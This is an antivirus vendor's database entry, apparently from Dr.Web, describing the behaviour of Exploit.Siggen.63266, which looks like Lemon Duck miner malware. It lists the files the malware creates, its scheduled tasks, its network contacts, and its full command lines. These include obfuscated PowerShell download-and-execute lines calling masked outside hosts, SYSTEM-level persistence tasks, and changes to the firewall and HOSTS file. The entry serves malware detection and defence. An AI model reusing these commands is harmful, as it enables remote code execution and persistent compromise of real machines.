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Exploit.Siggen.63266

Added to the Dr.Web virus database: 2020-04-09

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\63rtuqnxgjs
  • <SYSTEM32>\tasks\i26mdy\uhramyp
  • <SYSTEM32>\tasks\microsoft\windows\5jbr96uuk\mxekgszbi
  • <SYSTEM32>\tasks\fu3nsaoyo6
  • <SYSTEM32>\tasks\pdk9jl\ewgmr6cohp
  • <SYSTEM32>\tasks\microsoft\windows\65wagrzea49\m6avnqa
  • <SYSTEM32>\tasks\bluetea
Malicious functions
Executes the following
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
Executes the following (exploit)
  • '<SYSTEM32>\cmd.exe' /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#################
Modifies file system
Creates the following files
  • %TEMP%\7ufndwh1x5opdy1.sct
  • %WINDIR%\temp\csca7c7.tmp
  • %WINDIR%\temp\resa7d8.tmp
  • %WINDIR%\temp\n9q8s2x8.dll
  • %WINDIR%\temp\g_mnjc-k.0.cs
  • %WINDIR%\temp\g_mnjc-k.cmdline
  • %WINDIR%\temp\n9q8s2x8.out
  • %WINDIR%\temp\n9q8s2x8.pdb
  • %WINDIR%\temp\g_mnjc-k.out
  • %WINDIR%\temp\resd10b.tmp
  • %WINDIR%\temp\g_mnjc-k.dll
  • %WINDIR%\temp\mimi.dat
  • %WINDIR%\temp\wfree.bin
  • %WINDIR%\temp\aw0lwqgd.0.cs
  • %WINDIR%\temp\g_mnjc-k.pdb
  • %WINDIR%\temp\cscd0fa.tmp
  • %WINDIR%\temp\n9q8s2x8.cmdline
  • %WINDIR%\temp\n9q8s2x8.0.cs
  • %WINDIR%\temp\jr1sfqhi.dll
  • %WINDIR%\temp\2jbqcfju.cmdline
  • %WINDIR%\temp\2jbqcfju.out
  • %WINDIR%\temp\2jbqcfju.pdb
  • %WINDIR%\temp\csc9790.tmp
  • %WINDIR%\temp\if.bin
  • %WINDIR%\temp\res97b0.tmp
  • %WINDIR%\temp\2jbqcfju.0.cs
  • %WINDIR%\temp\m6.bin
  • %WINDIR%\temp\jr1sfqhi.0.cs
  • %WINDIR%\temp\jr1sfqhi.cmdline
  • %WINDIR%\temp\jr1sfqhi.out
  • %WINDIR%\temp\jr1sfqhi.pdb
  • %WINDIR%\temp\csc6281.tmp
  • %WINDIR%\temp\res6292.tmp
  • %WINDIR%\temp\2jbqcfju.dll
  • %WINDIR%\temp\aw0lwqgd.cmdline
  • %WINDIR%\temp\aw0lwqgd.out
Deletes the following files
  • %WINDIR%\temp\res97b0.tmp
  • %WINDIR%\temp\g_mnjc-k.cmdline
  • %WINDIR%\temp\g_mnjc-k.0.cs
  • %WINDIR%\temp\g_mnjc-k.pdb
  • %WINDIR%\temp\cscd0fa.tmp
  • %WINDIR%\temp\resd10b.tmp
  • %WINDIR%\temp\n9q8s2x8.0.cs
  • %WINDIR%\temp\n9q8s2x8.dll
  • %WINDIR%\temp\n9q8s2x8.pdb
  • %WINDIR%\temp\n9q8s2x8.cmdline
  • %WINDIR%\temp\n9q8s2x8.out
  • %WINDIR%\temp\csca7c7.tmp
  • %WINDIR%\temp\resa7d8.tmp
  • %WINDIR%\temp\jr1sfqhi.0.cs
  • %WINDIR%\temp\jr1sfqhi.dll
  • %WINDIR%\temp\jr1sfqhi.cmdline
  • %WINDIR%\temp\jr1sfqhi.out
  • %WINDIR%\temp\jr1sfqhi.pdb
  • %WINDIR%\temp\csc6281.tmp
  • %WINDIR%\temp\res6292.tmp
  • %WINDIR%\temp\2jbqcfju.0.cs
  • %WINDIR%\temp\2jbqcfju.dll
  • %WINDIR%\temp\2jbqcfju.out
  • %WINDIR%\temp\2jbqcfju.cmdline
  • %WINDIR%\temp\2jbqcfju.pdb
  • %WINDIR%\temp\csc9790.tmp
  • %WINDIR%\temp\g_mnjc-k.dll
  • %WINDIR%\temp\g_mnjc-k.out
Modifies the HOSTS file.
Network activity
TCP
HTTP GET requests
  • http://t.##cna.com/mail.jsp?1*###############
  • http://t.##cna.com/x.js
  • http://t.##cna.com/x.jsp?ma#########################################################################################################
  • http://t.##cna.com/report.jsp?ae#################################################################################################################################################################...
  • http://20#.#54.225.82/if_mail.bin?ae#############################################################################################################################################################...
  • http://20#.#54.225.82/if.bin?ae###############################################################
  • http://20#.#54.225.82/m6.bin?ae###############################################################
  • http://fd###h4ya5w.jp/w.js
  • http://fd###h4ya5w.jp/w.jsp?ma##########################################################################################################
  • http://20#.#54.225.82/mimi.dat?v=##########
  • http://20#.#54.225.82/wfree.bin?v=##########
  • http://12#.#.0.1:43669/1/summary
  • 'lp##.ackng.com':443
    • UDP
    • DNS ASK t.##cna.com
    • DNS ASK t.##2q.com
    • DNS ASK t.##ynx.com
    • DNS ASK lp##.ackng.com
    • DNS ASK si###79h3.cn
    • DNS ASK cw###dpehao.kr
    Miscellaneous
    Creates and executes the following
    • '<SYSTEM32>\cmd.exe' /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#################' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESD10B.tmp" "%WINDIR%\Temp\CSCD0FA.tmp"' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\g_mnjc-k.cmdline"' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESA7D8.tmp" "%WINDIR%\Temp\CSCA7C7.tmp"' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\n9q8s2x8.cmdline"' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6292.tmp" "%WINDIR%\Temp\CSC6281.tmp"' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\jr1sfqhi.cmdline"' (with hidden window)
    • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (with hidden window)
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\65wagRZEA49\m6AVnQa';$x='CwvPK'+'DpEHAo.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES97B0.tmp" "%WINDIR%\Temp\CSC9790.tmp"' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\2jbqcfju.cmdline"' (with hidden window)
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='PdK9JL\eWgMr6cohP';$x='fDFne'+'H4ya5W.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://...' (with hidden window)
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\fu3NsAoYO6';$x='SIjNe'+'79h3.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....' (with hidden window)
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...' (with hidden window)
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='I26mdY\uHRAmYp';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Cre...' (with hidden window)
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\63RTUqnxgJS';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\aw0lwqgd.cmdline"' (with hidden window)
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES76A2.tmp" "%WINDIR%\Temp\CSC7691.tmp"' (with hidden window)
    Executes the following
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#################
    • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\65wagRZEA49\m6AVnQa
    • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn bluetea /F /tr bluetea
    • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
    • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
    • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\65wagRZEA49\m6AVnQa';$x='CwvPK'+'DpEHAo.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...
    • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\jr1sfqhi.cmdline"
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6292.tmp" "%WINDIR%\Temp\CSC6281.tmp"
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\n9q8s2x8.cmdline"
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESA7D8.tmp" "%WINDIR%\Temp\CSCA7C7.tmp"
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
    • '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\g_mnjc-k.cmdline"
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESD10B.tmp" "%WINDIR%\Temp\CSCD0FA.tmp"
    • '<SYSTEM32>\sc.exe' Config xWinWpdSrv Start= Disabled
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\aw0lwqgd.cmdline"
    • '<SYSTEM32>\sc.exe' Stop xWinWpdSrv
    • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\65wagRZEA49\m6AVnQa /F /tr "powershell PS_CMD"
    • '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES97B0.tmp" "%WINDIR%\Temp\CSC9790.tmp"
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='PdK9JL\eWgMr6cohP';$x='fDFne'+'H4ya5W.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://...
    • '<SYSTEM32>\attrib.exe' -R <DRIVERS>\etc\hosts
    • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \63RTUqnxgJS /F /tr "powershell PS_CMD"
    • '<SYSTEM32>\schtasks.exe' /run /tn \63RTUqnxgJS
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\63RTUqnxgJS';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...
    • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn I26mdY\uHRAmYp /F /tr "powershell PS_CMD"
    • '<SYSTEM32>\schtasks.exe' /run /tn I26mdY\uHRAmYp
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='I26mdY\uHRAmYp';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Cre...
    • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI /F /tr "powershell PS_CMD"
    • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...
    • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \fu3NsAoYO6 /F /tr "powershell PS_CMD"
    • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='df5c8f7677a3361d17cc1ba820436ce9';$ifp=$env:tmp+'\if.bin';$down_url='http...
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='df5c8f7677a3361d17cc1ba820436ce9';$ifp=$env:tmp+'\if.bin';$down_url='http://20#.###.225...
    • '<SYSTEM32>\schtasks.exe' /run /tn \fu3NsAoYO6
    • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://20#.###.225...
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\fu3NsAoYO6';$x='SIjNe'+'79h3.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....
    • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn PdK9JL\eWgMr6cohP /F /tr "powershell PS_CMD"
    • '<SYSTEM32>\schtasks.exe' /run /tn PdK9JL\eWgMr6cohP
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\2jbqcfju.cmdline"
    • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES76A2.tmp" "%WINDIR%\Temp\CSC7691.tmp"

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    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
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